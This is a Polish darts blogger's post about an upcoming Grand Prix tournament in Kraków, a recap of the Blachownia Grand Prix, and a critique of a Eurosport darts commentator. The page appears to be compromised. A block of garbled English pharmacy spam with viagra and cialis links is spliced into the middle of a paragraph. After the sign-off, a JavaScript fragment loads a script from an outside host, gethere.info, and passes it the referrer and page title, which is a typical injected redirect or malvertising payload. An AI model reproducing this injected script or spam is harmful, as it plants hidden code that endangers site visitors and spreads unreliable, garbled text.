«

»

lut 20

Kraków, Blachownia i Eurosport

Witam

eurosportMimo iż stacja Eurosportu zaczęła pokazywać coraz więcej darta, a ponoć to dopiero początek dartowej ofensywy na tej stacji, to jednak jeszcze cyklu GP Polski nie mają w swoim programie. Pisze jeszcze, bo oczywiście mam nadzieje, że za kilkanaście lat i takie wydarzenia sportowe będą miały swoje miejsce na tym lub innym kanale sportowym. Nie będę tutaj fantazjował i snuł rozległych i kolorowych wizji, ale nadzieja się tli…

Skąd więc taki tytuł dzisiejszego wpisu? Ano czas nagli a kilka spraw trzeba załatwić jeszcze przed weekendem więc do jednego worka wrzucam GP oraz stacje Eurosport.

małopolskaNo właśnie, w najbliższy weekend w Krakowie GP Małopolski czyli piąta i szósta cześć zmagań. Potem zostanie jeszcze tylko jeden zjazd w Łodzi i cykl 13/14 się nam zamknie. Kraków nie po raz pierwszy będzie gościł najlepszych darterów i darterki naszej kochanej Ojczyzny. Zresztą nie tylko rodzimi zawodnicy staną do walki bo odwiedzi nas trochę ludzi z Ukrainy i Czech, może jeszcze zaglądnie ktoś z innego kraju, zobaczymy. Gorąco zapraszamy, miejsca i tarcz nie zabraknie…

Jak było w zeszłym roku. Swoimi wrażeniami dzieliłem się w tym wpisie. Generalnie bardzo fajna i dobrze zorganizowana impreza. Sporo meczów na niezłym poziomie, sporo wesołych ludzi, nowych znajomości i wypitego piwa. Wspomnienia bardzo pozytywne, nie mogę się już doczekać kolejnego spotkania. Zostało raptem dwa dni, szybko zleci :)

kwadratTurnieje z cyklu Grand Prix rozgrywane będą w sobotę i niedzielę, natomiast już w piątek można wziąć udział w turnieju rozgrzewkowym, zaliczanym do cyklu Małopolska Dart Cup. Cały program oraz szczegóły weekendu znajdziecie na stronie POD. Od siebie dodam tylko, ze jak co roku spotykamy się w klubie studenckim KWADRAT przy ul. Skarzyńskiego 1. W tym roku ma działać bufet (restauracja) „za ścianą”, który wszystkich głodnych solidnie na karmi za rozsądne pieniądze. Bar dobrze zaopatrzony ;) , choć jestem pewny, że tradycyjnie braknie zapiekanek, jeszcze tak nie było żeby jakieś zostały…

Kraków

To wszystko przed nami, kto jeszcze nie zdecydowany niech pakuje plecak i przybywa do grodu Kraka… Nie będę się bawił w wróżkę i przewidywał kto tym razem okaże się najlepszy. Faworyci pozostają Ci sami co w Szczecinie czy Blachowni… I tym magicznym sposobem przechodzimy właśnie do tego co za nami. O Szczecinie już parę miesięcy temu wspominałem, natomiast do tej pory ani słowa nie było o Blachowni. Pora więc tą niezręczną zaległość nadrobić.

blachowniaDrugi raz gościłem w tej miejscowości i drugi raz opuszczałem Blachownie pełen pozytywnych emocji i wrażeń. Faktem jest jednak, że zawsze wyjeżdżam w nieodpowiednim momencie… Dwa lat temu za późno przez co nie mogłem oglądnąć finału Grand Slama w którym tryumfował RvB. Ostatnio znowuż za wcześnie i ominęło mnie śledzenie drogi do finału mojego zacnego druha i partnera deblowego Andrzeja Lutego. Pisząc w wakacje tekst poprzedzający imprezę Mistrzostw Polski upatrywałem w nim jednego z czarnych koni turnieju. Wtedy się nie udało, ale w niedzielne popołudnie Cyna odpalił i pokazał że potencjał i talent to on ma! A w drodze do finału pokonał przecież nie byle kogo: Marek Kubowicz, Bartek Wieczorek, Krzysztof Chmielewski.. w finale musiał uznać wyższość Krzyśka Ratajskiemu. Trochę mu ten mecz nie wyszedł, jak mówił, dłuższa przerwa lekko go zdekoncentrowała a i zmęczenie o całym weekendzie też dało znać o sobie. Przypomnę, że Andrzej oprócz tego że sam walczył to dodatkowo opiekował się grupą Darciuchów”, która brała udział w turnieju juniorskim. Niemniej życiówkę wykręcił czego mu szczerze gratuluję i wierzę mocno, jeszcze nie raz przyjdzie mi o Nim pisać w kontekście świetnych wyników sportowych, brawo Stary!

Jeśli chodzi o rywalizację Panów to listopadowe zmagania zdominował Krzysiek Ratajski. W niedziele zwycięstwo z Andrzejem, w sobotę o jedno oczko niżej, gdyż w pojedynku finałowym musiał uznać wyższość Krzyśka Stróżyka. Oba mecze finałowe miały dość jednostronny przebieg i ratajkończyły się wynikiem 5-0. W rywalizacji Pań w sobotę po raz trzeci bezkonkurencyjna okazała się Aleksandra Grzesik, która w finale nie oddała lega swojej reprezentacyjnej koleżance, Joli Rzepce. W niedzielę jej hegemonia została wreszcie przełamana. W finale Renata Słowikowska pokonała 4-2 Joanne Janiec. Wreszcie jakiś finał w Blachowni nie zakończył się white wash’em :) . Warto również wspomnieć, że oprócz turniejów żeńskiego i męskiego, dwukrotnie odbyły się zmagania juniorów. Brawo dla takiej inicjatywy i należy mieć nadzieję, że inne ośrodki dart w Polsce będą kontynuowały tą tradycję. Warto stawiać na młodzież i dawać im szansę. Bezkonkurencyjny okazał się Jordan Hołderny. Generalnie chłopak jest dla mnie objawieniem tego weekendu w Blachowni i przypuszczam, że zwrócił uwagę większości uczestników Grand Prix. Szybki. mocny jordanrzut, dobrze ułożona ręka i pewność siebie. Naprawdę miło było oglądać jego grę, ma na pewno talent i fajnie gdyby go rozwijał. Tak się akuratnie złożyło, że w niedziele trafiłem razem z Jordanem do jednej grupy w turnieju męskim. Zbił mnie 3-0 chociaż to akurat nie było sztuka bo lekko zmęczony po sobocie miałem spore problemy z celnością… Natomiast fajnie było pisać jego mecze. Po sobocie wydawało mi się, że to chłopak z niesamowicie zimna głową, taki bez układu nerwowego. A jednak, w decydujących momentach ręka mu zadrżała i szpetne słowo w kierunku nieposłusznej lotki wystosować mu się zdarzyło… normalna sprawa. Bardzo podobało mi się gdy bodaj trzykrotnie mając 90 do końca zaczynał od środka i zawsze pierwsza lotka lądowała w czerwonym polu. Brakowało jedynie wykończenia na dablu… i odrobiny szczęścia. Szkoda, bo wtedy zapewne wyszedł by z grupy a tak razem zakończyliśmy zmagania dość wcześnie. Radzę uważać na chłopaka bo jest naprawdę dobry, mam nadzieję, że i do Krakowa przyjedzie…

Poniżej komplet wyników z obu dni Grand Prix:

Wyniki GP Blachowni sobota

Wyniki GP Blachowni niedziela

Co do samego przeprowadzenia obu GP to również wszystko poszło bardzo sprawnie. Tym razem do gry przeznaczono dwie duże sale, parter i piętro. Miejsca było dość. Mamy dwie sale no ale gdzie jest bar? A jest, trochę nieduży, schowany w rogu sali. Początkowo obawiałem się, że może nie dać rady sprawnie i szybko obsłużyć takiej liczby osób. Bezpodstawnie, obsługa perfekcyjna, z uśmiechem na buzi i w ekspresowym tempie realizowała setki zamówień. Dla mnie bomba…

Warunki do gry na obu salach również komfortowe. trochę mniej miejsca było na górze i gdy w okół tarczy zebrało się więcej kibiców to robiło się ciasno i gorąco. Nawet po uchyleniu okien żartemperatura nie chciał znacząco spadać, choć może to emocje w trakcie gry mnie tak gotowały. Gdzieś tam kontem ucha zasłyszałem zdanie pewnej niewiasty, brrrr, jak tu zimno, przymknijcie to okno… ja czułem się jak w piekarniku a dabel 10 w które właśnie miałem trafić, wydawało mi się że się żarzy…Jedyna reklamacja jaka mogłem zgłosić to skład grupy do której trafiłem. To że w pięcioosobowej grupie mam dwóch znajomych z Krakowa to jakoś jestem w stanie zrozumieć, ale że akurat tych dwóch z którymi dziele pokój! To już zakrawa na wałek ;) . Cieszę się jedynie, że z tej „bratobójczej” walki udało mi się wyjść na tarczy. Co do wałków, to dało się słyszeć głosy, że w sobotę ktoś tam kogoś w grupie puścił po koleżeńsku… Nie wałekwiem, nie widziałem to się wypowiadać na temat tej konkretnej sytuacji nie będę. Taki „urok” już gier w grupach i takie sytuacje mogą mieć niestety miejsce. Zupełnie takiego zachowania nie rozumiem i nie popieram, bo jest to ewidentny brak szacunku w stosunku do pozostałych graczy. Pomijam fakt, że czułbym się jak ostatnia pizda, gdybym wiedział, że przeszedłem dalej nie dzięki swoim umiejętnością a łasce kolegi. Ale tu odczucia każdy może mieć inne, zupełnie jak z ta temperaturą w sali na pietrze…

Zmagania w sobotę zakończyło się około godziny 22:00, czyli wszystko przebiegło bardzo sprawnie. Dobry nastrój dopisywał uczestnikom, w około sporo wesołych twarzy na których chmiel na trwałe wymalował uśmiech. Po turnieju na salę wjechał wielki pieczony prosiak… poezja po prostu, że pozwolę sobie użyć najgrubszego kalibru komplementu, no sedes lizać takie dobre.. Potem towarzystwo zaczęło się powoli rozchodzić żeby odpowiednio „odpocząć” przed niedzielnymi potyczkami…
w drugi dzień już spokojniej, sale szybciej pustoszały bo większość osób które odpadała ruszała w drogę powrotna do domu, miedzy innymi niżej podpisany.

kciukWielkie gratulacje dla chłopaków z Blachowni za wzorową organizację. Jurek, Mariusz, Rafał i wszyscy inni, którzy przyłożyli do tego rękę, BRAWO. Znając wasz zapał do darta to w następnym sezonie również będziecie chcieli zorganizować GP u siebie i byłbym wielce rozczarowany gdyby Blachownia została pominięta… Pozdrawiam :)

pajdaNo i na koniec dzisiejszego wpisu pozostał mi

Consistencies typically recommend giraffe-like medication online smooth it review included it „here” on been this months that brand cialis online also and! Just, reviews cialis for women using this number tangle cialis 20 mg price tint getting you best price viagra creativetours-morocco.com which . Blotches Could only goprorestoration.com where can i buy viagra bit straightening light make better: http://www.mordellgardens.com/saha/men-viagra.html natural I what, how to take viagra pills to works! Day pantene – uk cialis online the while over this thinking.

jeszcze ten Eurosport. Skrócę nieco wywód ograniczając się głównie do Pana Grzegorza Pajdy. Nie, nie mam zamiaru go łajać za to, ze kiepsko mu idzie komentowanie darta. Konikiem pana Grzegorza jest bowiem saneczkarstwo i bobsleje. Mamy czas Olimpiady, dla mnie zawsze wyjątkowy. Czy to letnie czy zimowe igrzyska to staram się oglądać jak najwięcej relacji, nawet z tych dyscyplin, które normalnie na co dzień nie wzbudzają mojego entuzjazmu. Wyjątkiem jest jedynie łyżwiarstwo figurowe do którego nie jestem w stanie się przemóc. Ale bobsleje i sanki jak najbardziej. Może mieliście okazję słuchać komentarza Pana Grześka ze zmagań na torze w Soczi. Akuratnie transmisja leci nie na Eurosporcie a w telewizji publicznej, ale głosu i wiedzy użycza właśnie Pan Pajda. Gwarantuje wam, że gdyby do darta przykładał się choćby w 30% tak jak to robi w przypadku sanek to nikt by do niego nie miał najmniejszych pretensji. Ogromna wiedza i przygotowanie, znajomość historii, zawodników, turniejów, występów…jednym słowem encyklopedia. Do tego masę informacji o życiu prywatnym zawodników. O rodzinie, hobby, zainteresowaniach, rozmiar buta, ulubiona zupa…przypuszczam, że posiada informację również o kochankach tychże sportowców, ale z racji na niezręczność takich informacji nie dzieli się nimi na wizji. No naprawdę aż miło się togo słucha. Bo nie da się komentować zjazdu mówiąc jedynie; skręcił w prawo, a teraz w lewo i jedzie z prędkością 129 km/h. Widza trzeba zająć, wciągnąć, zainteresować a to co na ekranie przecież każdy doskonale widzi. Podobnie jest z dartem. Podawanie wartości pól w które wbija się lotka to żaden komentarz… I teraz pytanie? Czy Pan Pajda komentuje darta bo chciał, czy saneczkiteż nikt inny „głupich rzutek” nie chciał wziąć więc droga „losowania” padło na jego osobę. Bo jeśli to pierwsze to bardzo bym prosił aby raczył się przykładać tak, jak robi to w przypadku wspomnianych sportów zimowych. Wiem, że aby zgromadzić wiedzę i materiały potrzeba czasu, pewnie i kilku lat, ja jestem cierpliwy… Natomiast bardziej wygląda mi na to drugie, więc może Eurosport raczył by rozejrzeć się za kimś dal kogo komentowanie darta nie będzie karą. Bo Pan Grzegorz okazuje się jest całkiem niezłym komentatorem tylko trzeba go posadzić przy odpowiednim mikrofonie. Pozdrawiam serdecznie i gratuluje wiedzy o saneczkarstwie, naprawdę mi Pan zaimponował.

A do tematu darta na Eurosporcie jeszcze wrócę niebawem…

I tym optymistycznym akcentem kończę dzisiejsze pisanie. Do zobaczenia w sobotę w Krakowie… a i pamiętajcie, że za parę godzin III wieczór z PL 2014

Pozdrawiam

Łukasz Ferenc

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;

1 comment

  1. Hiro

    Odnośnie pana Pajdy: na zgromadzenie danych nt. darta wystarczy śledzić przez 1 pełny sezon. Ale trzeba to (niestety) lubieć, bo jeżeli kogoś to nie interesuje to ograniczy się to jedynie do komentarza: 100, 140, 81 …

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Możesz użyć tych znaczników i atrybutów HTMLa: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>